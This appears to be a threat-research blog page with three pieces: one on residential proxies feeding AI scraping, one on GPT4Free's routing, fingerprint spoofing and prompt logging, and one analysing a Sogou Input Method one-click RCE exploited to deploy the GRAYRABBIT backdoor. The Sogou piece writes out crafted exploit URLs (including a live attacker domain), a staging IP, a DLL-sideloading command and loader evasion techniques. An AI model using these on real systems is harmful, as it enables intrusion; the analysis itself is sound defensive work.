Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Security Evangelist at Gen

Research

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

Threat Analysis Engineer

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

